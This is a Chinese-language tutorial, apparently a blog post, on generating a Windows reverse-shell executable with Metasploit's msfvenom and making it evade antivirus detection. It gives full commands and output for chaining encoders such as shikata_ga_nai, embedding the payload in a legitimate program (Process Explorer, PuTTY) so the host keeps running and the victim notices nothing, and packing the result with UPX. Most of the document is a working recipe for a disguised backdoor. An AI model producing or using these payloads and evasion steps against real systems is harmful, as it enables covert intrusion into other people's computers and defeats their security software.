msf生成可独立运行二进制文件

以windows可执行文件为例,执行

1
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.48.128 LPORT=8080 -f exe -o payload.exe

这样就生成了一个windows上可执行的反弹shell程序,然后可以使用multi/handler模块在MSF终端启动一个监听器,对反弹连接进行监听和处理。

之后在windows上运行exe文件即可建立会话

躲避杀毒软件检测

使用msf编码器

MSF编码器将原始的可执行程序重新编码,并生成一个新的二进制文件,当这个文件运行后,MSF编码器会将原始程序解码到内存中执行

使用msfvenom -l encoders列出所有可用的编码格式,可以看到除了名称和描述外,msf还给每个编码器评定了等级(注意不同的编码格式适用于不同的操作系统平台)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
root@kali:/opt# msfvenom -l encoders

Framework Encoders [--encoder <value>]
======================================

Name Rank Description
---- ---- -----------
cmd/brace low Bash Brace Expansion Command Encoder
cmd/echo good Echo Command Encoder
cmd/generic_sh manual Generic Shell Variable Substitution Command Encoder
cmd/ifs low Bourne ${IFS} Substitution Command Encoder
cmd/perl normal Perl Command Encoder
cmd/powershell_base64 excellent Powershell Base64 Command Encoder
cmd/printf_php_mq manual printf(1) via PHP magic_quotes Utility Command Encoder
generic/eicar manual The EICAR Encoder
generic/none normal The "none" Encoder
mipsbe/byte_xori normal Byte XORi Encoder
mipsbe/longxor normal XOR Encoder
mipsle/byte_xori normal Byte XORi Encoder
mipsle/longxor normal XOR Encoder
php/base64 great PHP Base64 Encoder
ppc/longxor normal PPC LongXOR Encoder
ppc/longxor_tag normal PPC LongXOR Encoder
ruby/base64 great Ruby Base64 Encoder
sparc/longxor_tag normal SPARC DWORD XOR Encoder
x64/xor normal XOR Encoder
x64/xor_context normal Hostname-based Context Keyed Payload Encoder
x64/xor_dynamic normal Dynamic key XOR Encoder
x64/zutto_dekiru manual Zutto Dekiru
x86/add_sub manual Add/Sub Encoder
x86/alpha_mixed low Alpha2 Alphanumeric Mixedcase Encoder
x86/alpha_upper low Alpha2 Alphanumeric Uppercase Encoder
x86/avoid_underscore_tolower manual Avoid underscore/tolower
x86/avoid_utf8_tolower manual Avoid UTF8/tolower
x86/bloxor manual BloXor - A Metamorphic Block Based XOR Encoder
x86/bmp_polyglot manual BMP Polyglot
x86/call4_dword_xor normal Call+4 Dword XOR Encoder
x86/context_cpuid manual CPUID-based Context Keyed Payload Encoder
x86/context_stat manual stat(2)-based Context Keyed Payload Encoder
x86/context_time manual time(2)-based Context Keyed Payload Encoder
x86/countdown normal Single-byte XOR Countdown Encoder
x86/fnstenv_mov normal Variable-length Fnstenv/mov Dword XOR Encoder
x86/jmp_call_additive normal Jump/Call XOR Additive Feedback Encoder
x86/nonalpha low Non-Alpha Encoder
x86/nonupper low Non-Upper Encoder
x86/opt_sub manual Sub Encoder (optimised)
x86/service manual Register Service
x86/shikata_ga_nai excellent Polymorphic XOR Additive Feedback Encoder
x86/single_static_bit manual Single Static Bit
x86/unicode_mixed manual Alpha2 Alphanumeric Unicode Mixedcase Encoder
x86/unicode_upper manual Alpha2 Alphanumeric Unicode Uppercase Encoder
x86/xor_dynamic normal Dynamic key XOR Encoder

生成攻击载荷时使用-e指定使用编码器

多重编码

MSF允许对攻击载荷文件进行多次编码,以降低被杀毒软件检测的风险

示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
root@kali:/opt# msfvenom -p windows/shell_reverse_tcp LHOST=192.168.48.128 LPORT=8080 -e x86/shikata_ga_nai -i 10 -f raw|msfvenom -e x86/alpha_upper -a x86 --platform windows -i 5 -f raw|msfvenom -e x86/shikata_ga_nai -a x86 --platform windows -i 10 -f raw|msfvenom -e x86/countdown -a x86 --platform windows -i 10 -f exe -o payload.exe
Attempting to read payload from STDIN...Attempting to read payload from STDIN...
Attempting to read payload from STDIN...

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 10 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351 (iteration=0)
...
x86/shikata_ga_nai succeeded with size 594 (iteration=9)
x86/shikata_ga_nai chosen with final size 594
Payload size: 594 bytes

Found 1 compatible encoders
Attempting to encode payload with 5 iterations of x86/alpha_upper
x86/alpha_upper succeeded with size 1255 (iteration=0)
...
x86/alpha_upper succeeded with size 21115 (iteration=4)
x86/alpha_upper chosen with final size 21115
Payload size: 21115 bytes

Found 1 compatible encoders
Attempting to encode payload with 10 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 21144 (iteration=0)
...
x86/shikata_ga_nai succeeded with size 21405 (iteration=9)
x86/shikata_ga_nai chosen with final size 21405
Payload size: 21405 bytes
Found 1 compatible encoders
Attempting to encode payload with 10 iterations of x86/countdown
x86/countdown succeeded with size 21423 (iteration=0)
...
x86/countdown succeeded with size 21585 (iteration=9)
x86/countdown chosen with final size 21585
Payload size: 21585 bytes
Final size of exe file: 73802 bytes
Saved as: payload.exe
root@kali:/opt#

这里我们先使用了10次shikata_ga_nai编码,将编码后的原始数据又进行了5次alpha_upper编码,然后再进行10次shika_ga_nai编码,接着进行10次countdown编码,最后生成可执行文件。

自定义可执行文件模板

通常情况下执行msfvenom命令时,攻击载荷将被嵌入到位于data/templates/template.exe的默认的可执行文件模板中,虽然这个模板文件会更新,但它永远是杀毒软件的重点关注对象

当前的msfvenom支持使用-x选项使用任意的windows可执行程序来代替默认模板文件,下面的例子中我们可以重新对攻击载荷进行编码,并将微软Sysinternals套件中的Process Explorer程序作为自定义的可执行程序模块

首先从Microsoft网站下载Process Explorer软件并解压

1
wget http://download.sysinternals.com/files/ProcessExplorer.zip

接着指定模板文件生成攻击载荷,这样就可以得到自定义模板的可执行程序

隐秘的启动一个攻击载荷

如果用户运行了你的后门执行文件但却什么都没发生,很容易就会引起怀疑,为了避免被目标察觉,可以在启动攻击载荷的同时,让宿主程序也正常的运行起来

MSF中使用选项-k会配置攻击载荷在一个独立线程中启动,这样宿主程序在执行时不会收到影响。

以ssh客户端Putty为例

在msf建立监听,靶机执行文件试试效果

可以看到成功打开了shell,而且用户软件可以正常显示和使用。

加壳软件

加壳软件是一种能够对可执行文件进行加密压缩并将压缩代码嵌入其中的工具,当加过壳的文件被执行后,解压代码会从已压缩的数据中重建原始程序并运行。这些过程对用户是透明的,所以加壳后的程序可以代替原始程序使用。

下面使用UPX加壳软件对我们的攻击载荷文件进行编码和压缩,以尝试对该文件进行免杀处理

执行upx命令查看它支持哪些选项

使用-5选项对我们的可执行文件进行压缩并加壳

可以看见upx将我们的原始攻击文件体积进行了压缩,这样加壳过后的文件就可以一定程度上降低被杀毒软件检测的风险。